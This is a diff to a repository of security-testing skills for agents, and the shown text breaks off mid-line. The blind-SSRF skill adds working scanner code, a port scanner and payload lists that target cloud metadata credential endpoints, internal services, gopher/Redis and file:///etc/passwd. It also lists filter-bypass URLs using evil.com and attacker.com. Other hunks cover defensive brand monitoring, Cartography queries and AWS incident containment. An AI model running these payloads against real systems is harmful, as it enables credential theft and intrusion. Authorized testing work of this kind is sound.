CallbackHandler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + return server + +def test_blind_ssrf_oob(target_url, param_name, callback_url): + """Test for blind SSRF using OOB callback.""" + payload = callback_url + "/ssrf-test" + resp = requests.get( + target_url, + params={param_name: payload}, + timeout=10, + ) + return resp.status_code +``` + +### Time-Based Blind SSRF Detection +```python +import time + +def test_time_based_ssrf(target_url, param_name, open_port_url, closed_port_url): + """Detect SSRF via response time difference between open and closed ports.""" + # Baseline: request to a closed port (should timeout slower) + start = time.time() + try: + requests.get(target_url, params={param_name: closed_port_url}, timeout=15) + except requests.Timeout: + pass + closed_time = time.time() - start + + # Test: request to an open port (should respond faster) + start = time.time() + try: + requests.get(target_url, params={param_name: open_port_url}, timeout=15) + except requests.Timeout: + pass + open_time = time.time() - start + + # Significant time difference indicates SSRF + return { + "open_port_time": round(open_time, 2), + "closed_port_time": round(closed_time, 2), + "likely_ssrf": abs(closed_time - open_time) > 2.0, + } +``` + +### Internal Port Scanner via SSRF +```python +def ssrf_port_scan(target_url, param_name, internal_host, ports): + """Scan internal ports through a blind SSRF vulnerability.""" + results = {"open": [], "closed": [], "filtered": []} + for port in ports: + ssrf_url = f"http://{internal_host}:{port}/" + start = time.time() + try: + resp = requests.get( + target_url, + params={param_name: ssrf_url}, + timeout=10, + ) + elapsed = time.time() - start + if resp.status_code == 200 and elapsed < 3: + results["open"].append(port) + else: + results["closed"].append(port) + except requests.Timeout: + results["filtered"].append(port) + return results +``` + +### URL Bypass Techniques +```python +BYPASS_PAYLOADS = [ + # Decimal IP encoding + "http://2130706433/", # 127.0.0.1 + # Hex encoding + "http://0x7f000001/", # 127.0.0.1 + # Octal encoding + "http://0177.0.0.1/", + # IPv6 + "http://[::ffff:127.0.0.1]/", + # URL encoding + "http://127.0.0.1%2523@evil.com/", + # DNS rebinding + "http://spoofed.burpcollaborator.net/", + # Redirect-based + "https://attacker.com/redirect?url=http://169.254.169.254/", +] +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "target": "https://app.example.com/fetch", + "parameter": "url", + "ssrf_confirmed": true, + "detection_method": "out-of-band", + "internal_services_found": [ + {"host": "127.0.0.1", "port": 6379, "service": "Redis"}, + {"host": "10.0.0.5", "port": 3306, "service": "MySQL"} + ], + "cloud_metadata_accessible": true, + "bypasses_needed": ["decimal IP encoding"] +} ``` diff --git a/skills/performing-blind-ssrf-exploitation/scripts/agent.py b/skills/performing-blind-ssrf-exploitation/scripts/agent.py index a655d4f7..02fcb25f 100644 --- a/skills/performing-blind-ssrf-exploitation/scripts/agent.py +++ b/skills/performing-blind-ssrf-exploitation/scripts/agent.py @@ -1,60 +1,252 @@ #!/usr/bin/env python3 -"""Blind SSRF detection agent.""" -import argparse, json, sys +"""Blind SSRF detection agent. + +Tests web application endpoints for Server-Side Request Forgery (SSRF) +vulnerabilities by injecting payloads that trigger out-of-band callbacks. +Uses configurable payload lists targeting internal services, cloud metadata +endpoints, and external callback receivers. + +AUTHORIZED TESTING ONLY: Only use against targets you have explicit +written permission to test. Unauthorized SSRF testing is illegal. +""" +import argparse +import json +import os +import sys +import time +import urllib.parse from datetime import datetime, timezone + try: import requests except ImportError: - requests = None + print("[!] 'requests' library required: pip install requests", file=sys.stderr) + sys.exit(1) -def run_scan(target, token=None): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def analyze_results(target, token=None): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass - return findings +SSRF_PAYLOADS = { + "aws_metadata": [ + "http://169.254.169.254/latest/meta-data/", + "http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "http://169.254.169.254/latest/user-data", + ], + "gcp_metadata": [ + "http://metadata.google.internal/computeMetadata/v1/", + "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token", + ], + "azure_metadata": [ + "http://169.254.169.254/metadata/instance?api-version=2021-02-01", + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01", + ], + "internal_services": [ + "http://127.0.0.1:80/", + "http://127.0.0.1:8080/", + "http://127.0.0.1:443/", + "http://127.0.0.1:3306/", + "http://127.0.0.1:6379/", + "http://127.0.0.1:9200/", + "http://localhost:8500/v1/agent/self", + "http://127.0.0.1:2375/containers/json", + ], + "bypass_filters": [ + "http://0x7f000001/", + "http://0177.0.0.1/", + "http://[::1]/", + "http://127.1/", + "http://127.0.0.1.nip.io/", + "http://2130706433/", + ], + "protocol_smuggling": [ + "gopher://127.0.0.1:6379/_INFO", + "dict://127.0.0.1:6379/INFO", + "file:///etc/passwd", + "file:///etc/hosts", + ], +} + + +def test_ssrf_parameter(target_url, param_name, payload, method="GET", + headers=None, cookies=None, callback_url=None): + """Test a single SSRF payload against a parameter.""" + test_payload = callback_url or payload + if method.upper() == "GET": + parsed = urllib.parse.urlparse(target_url) + params = urllib.parse.parse_qs(parsed.query) + params[param_name] = [test_payload] + new_query = urllib.parse.urlencode(params, doseq=True) + test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) + try: + resp = requests.get(test_url, headers=headers, cookies=cookies, + timeout=10, allow_redirects=False) + except requests.RequestException as e: + return {"payload": payload, "error": str(e), "vulnerable": False} + else: + data = {param_name: test_payload} + try: + resp = requests.post(target_url, data=data, headers=headers, + cookies=cookies, timeout=10, allow_redirects=False) + except requests.RequestException as e: + return {"payload": payload, "error": str(e), "vulnerable": False} + + indicators = analyze_response(resp, payload) + return { + "payload": payload, + "status_code": resp.status_code, + "response_length": len(resp.content), + "response_time": resp.elapsed.total_seconds(), + "indicators": indicators, + "vulnerable": len(indicators) > 0, + } + + +def analyze_response(resp, payload): + """Analyze HTTP response for SSRF success indicators.""" + indicators = [] + body = resp.text.lower() + + # Cloud metadata indicators + if "169.254.169.254" in payload: + if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials", + "access-key", "computemetadata", "subscriptionid"]): + indicators.append("Cloud metadata content detected in response") + + # Internal service indicators + if "127.0.0.1" in payload or "localhost" in payload: + if resp.status_code == 200 and len(resp.content) > 0: + if any(kw in body for kw in ["redis_version", "elasticsearch", "docker", + "consul", "apache", "nginx", "server:"]): + indicators.append("Internal service response detected") + + # File content indicators + if "file://" in payload: + if "root:" in body or "localhost" in body: + indicators.append("Local file content detected in response") + + # Time-based detection + if resp.elapsed.total_seconds() > 5: + indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host") + + # Differential response analysis + if resp.status_code in (200, 301, 302) and len(resp.content) > 100: + indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})") + + return indicators + + +def run_ssrf_scan(target_url, param_name, method="GET", categories=None, + headers=None, cookies=None, callback_url=None): + """Run SSRF tests across payload categories.""" + if categories is None: + categories = list(SSRF_PAYLOADS.keys()) + + results = [] + total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories) + print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories") + print(f"[*] Target: {target_url} (param: {param_name}, method: {method})") + + for category in categories: + payloads = SSRF_PAYLOADS.get(category, []) + print(f"\n [{category}] Testing {len(payloads)} payloads...") + for payload in payloads: + result = test_ssrf_parameter( + target_url, param_name, payload, method, headers, cookies, callback_url + ) + result["category"] = category + results.append(result) + if result["vulnerable"]: + print(f" [VULN] {payload}") + for ind in result["indicators"]: + print(f" -> {ind}") + time.sleep(0.5) # Rate limiting + + return results + + +def format_summary(results, target_url): + """Print scan summary.""" + vulnerable = [r for r in results if r.get("vulnerable")] + print(f"\n{'='*60}") + print(f" SSRF Scan Report") + print(f"{'='*60}") + print(f" Target : {target_url}") + print(f" Payloads : {len(results)}") + print(f" Vulnerable : {len(vulnerable)}") + + if vulnerable: + print(f"\n Confirmed/Suspected Vulnerabilities:") + for v in vulnerable: + print(f" [{v['category']:20s}] {v['payload']}") + for ind in v.get("indicators", []): + print(f" -> {ind}") + + by_category = {} + for r in vulnerable: + by_category.setdefault(r["category"], []).append(r) + if by_category: + print(f"\n Findings by Category:") + for cat, items in by_category.items(): + print(f" {cat:25s}: {len(items)} finding(s)") + def main(): - p = argparse.ArgumentParser(description="Blind SSRF detection agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Blind SSRF detection agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Blind SSRF detection agent (authorized testing only)" + ) + parser.add_argument("--target", required=True, help="Target URL with parameter to test") + parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into") + parser.add_argument("--method", choices=["GET", "POST"], default="GET") + parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()), + help="SSRF payload categories to test") + parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)") + parser.add_argument("--header", nargs="+", help="Custom headers (key:value)") + parser.add_argument("--cookie", help="Cookie string") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + headers = {} + if args.header: + for h in args.header: + k, v = h.split(":", 1) + headers[k.strip()] = v.strip() + cookies = {} + if args.cookie: + for pair in args.cookie.split(";"): + if "=" in pair: + k, v = pair.strip().split("=", 1) + cookies[k] = v + + results = run_ssrf_scan( + args.target, args.param, args.method, args.categories, + headers or None, cookies or None, args.callback + ) + format_summary(results, args.target) + + vulnerable = [r for r in results if r.get("vulnerable")] + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "SSRF Scanner", + "target": args.target, + "parameter": args.param, + "total_payloads": len(results), + "vulnerable_count": len(vulnerable), + "findings": vulnerable, + "all_results": results if args.verbose else [], + "risk_level": ( + "CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata") + for r in vulnerable) + else "HIGH" if vulnerable + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-bluetooth-security-assessment/SKILL.md b/skills/performing-bluetooth-security-assessment/SKILL.md index 4dcef70d..489142bd 100644 --- a/skills/performing-bluetooth-security-assessment/SKILL.md +++ b/skills/performing-bluetooth-security-assessment/SKILL.md @@ -9,6 +9,9 @@ author: mahipal license: Apache-2.0 --- + +# Performing Bluetooth Security Assessment + ## Overview This skill covers performing Bluetooth Low Energy (BLE) security assessments using the Python bleak library. BLE devices are ubiquitous in IoT, healthcare, fitness, and smart home applications, and many ship with weak or absent security controls. This assessment identifies unencrypted GATT characteristics, devices broadcasting sensitive data, known vulnerable device fingerprints, and improperly secured pairing configurations. diff --git a/skills/performing-bluetooth-security-assessment/scripts/agent.py b/skills/performing-bluetooth-security-assessment/scripts/agent.py index 84ebfdca..c30da805 100644 --- a/skills/performing-bluetooth-security-assessment/scripts/agent.py +++ b/skills/performing-bluetooth-security-assessment/scripts/agent.py @@ -8,7 +8,6 @@ import sys import time from bleak import BleakClient, BleakScanner -from bleak.backends.characteristic import BleakGATTCharacteristic SENSITIVE_SERVICE_UUIDS = { diff --git a/skills/performing-brand-monitoring-for-impersonation/SKILL.md b/skills/performing-brand-monitoring-for-impersonation/SKILL.md index 7ada1ddb..1d2984ff 100644 --- a/skills/performing-brand-monitoring-for-impersonation/SKILL.md +++ b/skills/performing-brand-monitoring-for-impersonation/SKILL.md @@ -36,7 +36,7 @@ Effective brand monitoring combines proactive scanning (domain permutation with Not all impersonation is malicious. Risk factors include: active web content (especially login pages), SSL certificate present, MX records configured (email receiving capability), visual similarity to legitimate site, recent registration date, and hosting in regions associated with cybercrime. -## Practical Steps +## Workflow ### Step 1: Multi-Channel Brand Monitoring System diff --git a/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md b/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md index bbafad95..adb106dd 100644 --- a/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md +++ b/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md @@ -1,28 +1,158 @@ -# API Reference: Brand impersonation monitoring agent +# API Reference: Brand Impersonation Monitoring -## API Details -Certificate Transparency logs, domain typosquatting, WHOIS lookup, DNS monitoring +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for CT log, WHOIS, and DNS APIs | +| `dns.resolver` | DNS record lookups for impersonation detection | +| `json` | Parse API responses and certificate data | +| `re` | Pattern matching for brand name variations | +| `datetime` | Track certificate issuance timelines | ## Installation + ```bash -pip install requests dns.resolver +pip install requests dnspython ``` -## Libraries +## Certificate Transparency Log Monitoring -| Library | Use | -|---------|-----| -| `requests` | requests | -| `dns.resolver` | dns.resolver | +### Search CT Logs via crt.sh +```python +import requests -## Authentication +def search_ct_logs(domain): + """Search Certificate Transparency logs for domain certificates.""" + resp = requests.get( + "https://crt.sh/", + params={"q": f"%.{domain}", "output": "json"}, + timeout=30, + ) + resp.raise_for_status() + certs = resp.json() + return [ + { + "id": c["id"], + "common_name": c["common_name"], + "issuer": c["issuer_name"], + "not_before": c["not_before"], + "not_after": c["not_after"], + } + for c in certs + ] +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Detect Suspicious Look-alike Domains +```python +import re + +def generate_typosquat_variants(domain): + """Generate common typosquatting variants of a domain.""" + name, tld = domain.rsplit(".", 1) + variants = set() + + # Character substitution (homoglyphs) + homoglyphs = {"a": ["@", "4"], "e": ["3"], "i": ["1", "l"], "o": ["0"], "s": ["5", "$"]} + for i, char in enumerate(name): + for replacement in homoglyphs.get(char, []): + variants.add(name[:i] + replacement + name[i+1:] + "." + tld) + + # Missing/extra characters + for i in range(len(name)): + variants.add(name[:i] + name[i+1:] + "." + tld) # Omission + variants.add(name[:i] + name[i] + name[i] + name[i+1:] + "." + tld) # Repetition + + # Adjacent TLDs + for alt_tld in ["com", "net", "org", "io", "co", "app", "dev"]: + if alt_tld != tld: + variants.add(name + "." + alt_tld) + + # Hyphen insertion + for i in range(1, len(name)): + variants.add(name[:i] + "-" + name[i:] + "." + tld) + + return variants +``` + +### Check Domain Registration +```python +def check_domain_whois(domain): + """Check WHOIS data for a suspicious domain.""" + resp = requests.get( + f"https://rdap.org/domain/{domain}", + timeout=10, + ) + if resp.status_code == 200: + data = resp.json() + return { + "domain": domain, + "registered": True, + "registrar": data.get("entities", [{}])[0].get("vcardArray", [None, []])[1][0] + if data.get("entities") else "Unknown", + "events": data.get("events", []), + } + return {"domain": domain, "registered": False} +``` + +### DNS Record Check +```python +import dns.resolver + +def check_dns_records(domain): + """Check if a suspicious domain has active DNS records.""" + records = {} + for rtype in ["A", "MX", "NS", "TXT"]: + try: + answers = dns.resolver.resolve(domain, rtype) + records[rtype] = [str(r) for r in answers] + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers): + records[rtype] = [] + return { + "domain": domain, + "has_a_record": len(records.get("A", [])) > 0, + "has_mx_record": len(records.get("MX", [])) > 0, + "records": records, + } +``` + +### Monitor for Brand Mentions +```python +def scan_for_impersonation(brand_domain, ct_results): + """Identify certificates that may indicate impersonation.""" + suspicious = [] + for cert in ct_results: + cn = cert["common_name"].lower() + if brand_domain not in cn: + continue + # Flag if issued by free CA (common for phishing) + if any(ca in cert["issuer"].lower() for ca in ["let's encrypt", "zerossl", "buypass"]): + suspicious.append({ + **cert, + "reason": "Brand name in cert from free CA", + "risk": "high", + }) + return suspicious +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "brand": "example.com", + "scan_date": "2025-01-15", + "ct_certificates_found": 342, + "suspicious_certificates": 5, + "typosquat_domains_registered": 8, + "findings": [ + { + "domain": "examp1e.com", + "type": "typosquat", + "registered": true, + "has_mx_record": true, + "risk": "high", + "detail": "Active mail server — possible phishing" + } + ] +} ``` diff --git a/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py b/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py index ca9aa8cb..d14ba1fb 100644 --- a/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py +++ b/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Brand impersonation monitoring agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-clickjacking-attack-test/SKILL.md b/skills/performing-clickjacking-attack-test/SKILL.md index 49ee3292..8070ebda 100644 --- a/skills/performing-clickjacking-attack-test/SKILL.md +++ b/skills/performing-clickjacking-attack-test/SKILL.md @@ -28,6 +28,9 @@ license: Apache-2.0 - **HTML/CSS knowledge**: For crafting clickjacking overlay pages - **curl**: For checking framing headers on target pages + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Check Frame Embedding Protections diff --git a/skills/performing-clickjacking-attack-test/scripts/agent.py b/skills/performing-clickjacking-attack-test/scripts/agent.py index fc968e9f..294614d5 100644 --- a/skills/performing-clickjacking-attack-test/scripts/agent.py +++ b/skills/performing-clickjacking-attack-test/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """ Clickjacking Attack Test Agent — AUTHORIZED TESTING ONLY Tests web applications for clickjacking (UI redressing) vulnerabilities by @@ -7,7 +10,6 @@ checking frame-busting headers and generating proof-of-concept pages. WARNING: Only use with explicit written authorization for the target application. """ -import json import sys from datetime import datetime, timezone from urllib.parse import urlparse diff --git a/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md b/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md index 95c1e0bc..f34f3128 100644 --- a/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md +++ b/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md @@ -1,28 +1,187 @@ -# API Reference: Cartography cloud asset inventory agent +# API Reference: Cartography Cloud Asset Inventory -## API Details -neo4j driver, cartography --neo4j-uri, AWS resource mapping, relationship graphing +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `neo4j` | Neo4j Python driver for graph database queries | +| `subprocess` | Execute Cartography CLI sync commands | +| `boto3` | AWS SDK for supplementary asset lookups | +| `json` | Parse Cartography output and Neo4j results | ## Installation + ```bash -pip install boto3 subprocess +# Cartography +pip install cartography + +# Neo4j Python driver +pip install neo4j + +# Neo4j server (Docker) +docker run -d --name neo4j \ + -p 7474:7474 -p 7687:7687 \ + -e NEO4J_AUTH=neo4j/changeme \ + neo4j:5 ``` -## Libraries - -| Library | Use | -|---------|-----| -| `boto3` | boto3 | -| `subprocess` | subprocess | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Neo4j Connection +```python +from neo4j import GraphDatabase +import os + +NEO4J_URI = os.environ.get("NEO4J_URI", "bolt://localhost:7687") +NEO4J_USER = os.environ.get("NEO4J_USER", "neo4j") +NEO4J_PASS = os.environ["NEO4J_PASS"] + +driver = GraphDatabase.driver(NEO4J_URI, auth=(NEO4J_USER, NEO4J_PASS)) +``` + +### AWS Credentials for Sync +```bash +# Cartography uses standard AWS credential chain +export AWS_PROFILE=security-audit +# Or: AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY +``` + +## CLI Reference + +### Sync AWS Assets to Neo4j +```bash +cartography --neo4j-uri bolt://localhost:7687 \ + --neo4j-user neo4j \ + --neo4j-password-env-var NEO4J_PASS \ + --aws-sync-all-profiles +``` + +### Sync Specific AWS Services +```bash +cartography --neo4j-uri bolt://localhost:7687 \ + --neo4j-user neo4j \ + --neo4j-password-env-var NEO4J_PASS \ + --aws-requested-syncs ec2:instances,iam:users,s3 +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--neo4j-uri` | Neo4j Bolt URI | +| `--neo4j-user` | Neo4j username | +| `--neo4j-password-env-var` | Env var containing Neo4j password | +| `--aws-sync-all-profiles` | Sync all configured AWS profiles | +| `--aws-requested-syncs` | Sync specific AWS services | +| `--gcp-requested-syncs` | Sync specific GCP services | +| `--azure-sync-all-subscriptions` | Sync all Azure subscriptions | +| `--statsd-enabled` | Enable StatsD metrics | +| `--update-tag` | Custom tag for this sync run | + +## Cypher Queries for Security Analysis + +### Find Public S3 Buckets +```python +def find_public_s3_buckets(driver): + query = """ + MATCH (s:S3Bucket) + WHERE s.anonymous_access = true + RETURN s.name AS bucket, s.region AS region, s.arn AS arn + """ + with driver.session() as session: + return [dict(r) for r in session.run(query)] +``` + +### Find IAM Users Without MFA +```python +def find_users_without_mfa(driver): + query = """ + MATCH (u:AWSUser) + WHERE NOT (u)-[:HAS_MFA_DEVICE]->(:MFADevice) + AND u.password_enabled = true + RETURN u.name AS username, u.arn AS arn, + u.password_last_used AS last_login + """ + with driver.session() as session: + return [dict(r) for r in session.run(query)] +``` + +### Find EC2 Instances with Public IPs and Permissive Security Groups +```python +def find_exposed_instances(driver): + query = """ + MATCH (i:EC2Instance)-[:MEMBER_OF_EC2_SECURITY_GROUP]->(sg:EC2SecurityGroup) + -[:MEMBER_OF_IP_RULE]->(rule:IpRule) + WHERE i.publicipaddress IS NOT NULL + AND rule.cidr_ip = '0.0.0.0/0' + AND rule.fromport <= 22 + AND rule.toport >= 22 + RETURN DISTINCT i.instanceid AS instance_id, + i.publicipaddress AS public_ip, + sg.name AS security_group + """ + with driver.session() as session: + return [dict(r) for r in session.run(query)] +``` + +### Map Cross-Account IAM Trust Relationships +```python +def find_cross_account_roles(driver): + query = """ + MATCH (role:AWSRole)-[:TRUSTS_AWS_PRINCIPAL]->(principal:AWSPrincipal) + WHERE principal.arn CONTAINS ':root' + AND NOT principal.arn CONTAINS role.accountid + RETURN role.arn AS role_arn, + principal.arn AS trusted_principal, + role.accountid AS role_account + """ + with driver.session() as session: + return [dict(r) for r in session.run(query)] +``` + +### Find Unencrypted RDS Instances +```python +def find_unencrypted_rds(driver): + query = """ + MATCH (rds:RDSInstance) + WHERE rds.storage_encrypted = false + RETURN rds.db_instance_identifier AS db_name, + rds.engine AS engine, + rds.publicly_accessible AS public + """ + with driver.session() as session: + return [dict(r) for r in session.run(query)] +``` + +## Cartography Node Types + +| Node Label | Represents | +|------------|-----------| +| `AWSAccount` | AWS account | +| `AWSUser` | IAM user | +| `AWSRole` | IAM role | +| `AWSPolicy` | IAM policy | +| `EC2Instance` | EC2 instance | +| `EC2SecurityGroup` | Security group | +| `S3Bucket` | S3 bucket | +| `RDSInstance` | RDS database instance | +| `LambdaFunction` | Lambda function | +| `EKSCluster` | EKS Kubernetes cluster | ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "sync_time": "2025-01-15T10:30:00Z", + "accounts_synced": 3, + "nodes_created": 12450, + "relationships_created": 34200, + "findings": { + "public_s3_buckets": 2, + "users_without_mfa": 5, + "exposed_instances": 3, + "cross_account_trusts": 8, + "unencrypted_databases": 4 + } +} ``` diff --git a/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py b/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py index 1f24679d..cba16178 100644 --- a/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py +++ b/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Cartography cloud asset inventory agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-cloud-forensics-with-aws-cloudtrail/scripts/agent.py b/skills/performing-cloud-forensics-with-aws-cloudtrail/scripts/agent.py index a64db57f..3463813a 100644 --- a/skills/performing-cloud-forensics-with-aws-cloudtrail/scripts/agent.py +++ b/skills/performing-cloud-forensics-with-aws-cloudtrail/scripts/agent.py @@ -12,7 +12,6 @@ logger = logging.getLogger(__name__) try: import boto3 - from botocore.exceptions import ClientError HAS_BOTO3 = True except ImportError: HAS_BOTO3 = False diff --git a/skills/performing-cloud-incident-containment-procedures/references/api-reference.md b/skills/performing-cloud-incident-containment-procedures/references/api-reference.md index ab33f65a..ab3c68c1 100644 --- a/skills/performing-cloud-incident-containment-procedures/references/api-reference.md +++ b/skills/performing-cloud-incident-containment-procedures/references/api-reference.md @@ -1,27 +1,174 @@ -# API Reference: Cloud incident containment agent +# API Reference: AWS Cloud Incident Containment -## API Details -EC2: stop_instances, modify_instance_attribute; IAM: update_access_key; SG: revoke_ingress +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `boto3` | AWS SDK for EC2, IAM, Security Groups, and CloudTrail | +| `json` | Parse and log containment actions | +| `datetime` | Timestamp containment events | ## Installation + ```bash pip install boto3 ``` -## Libraries - -| Library | Use | -|---------|-----| -| `boto3` | boto3 | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +import boto3 +import os + +session = boto3.Session( + aws_access_key_id=os.environ.get("AWS_ACCESS_KEY_ID"), + aws_secret_access_key=os.environ.get("AWS_SECRET_ACCESS_KEY"), + region_name=os.environ.get("AWS_REGION", "us-east-1"), +) + +ec2 = session.client("ec2") +iam = session.client("iam") +``` + +## Containment Actions + +### Isolate EC2 Instance (Security Group Quarantine) +```python +def isolate_instance(instance_id): + """Replace instance security groups with a quarantine SG that blocks all traffic.""" + # Create quarantine SG if it doesn't exist + vpc_id = ec2.describe_instances( + InstanceIds=[instance_id] + )["Reservations"][0]["Instances"][0]["VpcId"] + + try: + quarantine_sg = ec2.create_security_group( + GroupName="quarantine-no-access", + Description="IR Quarantine — blocks all inbound/outbound", + VpcId=vpc_id, + ) + sg_id = quarantine_sg["GroupId"] + # Revoke default outbound rule + ec2.revoke_security_group_egress( + GroupId=sg_id, + IpPermissions=[{"IpProtocol": "-1", "IpRanges": [{"CidrIp": "0.0.0.0/0"}]}], + ) + except ec2.exceptions.ClientError: + # SG already exists + sgs = ec2.describe_security_groups( + Filters=[{"Name": "group-name", "Values": ["quarantine-no-access"]}] + ) + sg_id = sgs["SecurityGroups"][0]["GroupId"] + + # Apply quarantine SG (replaces all existing SGs) + ec2.modify_instance_attribute( + InstanceId=instance_id, + Groups=[sg_id], + ) + return {"instance_id": instance_id, "quarantine_sg": sg_id, "action": "isolated"} +``` + +### Disable IAM Access Keys +```python +def disable_user_access_keys(username): + """Disable all access keys for a compromised IAM user.""" + keys = iam.list_access_keys(UserName=username) + disabled = [] + for key in keys["AccessKeyMetadata"]: + if key["Status"] == "Active": + iam.update_access_key( + UserName=username, + AccessKeyId=key["AccessKeyId"], + Status="Inactive", + ) + disabled.append(key["AccessKeyId"]) + return {"username": username, "keys_disabled": disabled} +``` + +### Revoke IAM Role Sessions +```python +def revoke_role_sessions(role_name): + """Revoke all active sessions for an IAM role.""" + iam.put_role_policy( + RoleName=role_name, + PolicyName="RevokeOlderSessions", + PolicyDocument=json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*", + "Condition": { + "DateLessThan": { + "aws:TokenIssueTime": datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ") + } + } + }] + }), + ) + return {"role": role_name, "action": "sessions_revoked"} +``` + +### Snapshot EBS Volume for Forensics +```python +def snapshot_instance_volumes(instance_id): + """Create forensic snapshots of all attached EBS volumes.""" + instance = ec2.describe_instances(InstanceIds=[instance_id]) + volumes = instance["Reservations"][0]["Instances"][0].get("BlockDeviceMappings", []) + snapshots = [] + for vol in volumes: + vol_id = vol["Ebs"]["VolumeId"] + snap = ec2.create_snapshot( + VolumeId=vol_id, + Description=f"IR forensic snapshot — {instance_id} — {vol_id}", + TagSpecifications=[{ + "ResourceType": "snapshot", + "Tags": [ + {"Key": "Purpose", "Value": "incident-response"}, + {"Key": "SourceInstance", "Value": instance_id}, + ] + }], + ) + snapshots.append({"volume_id": vol_id, "snapshot_id": snap["SnapshotId"]}) + return snapshots +``` + +### Stop Instance (Preserve State) +```python +def stop_instance(instance_id): + """Stop instance without terminating to preserve memory and disk.""" + ec2.stop_instances(InstanceIds=[instance_id]) + return {"instance_id": instance_id, "action": "stopped"} +``` + +### Block Public S3 Bucket Access +```python +s3 = 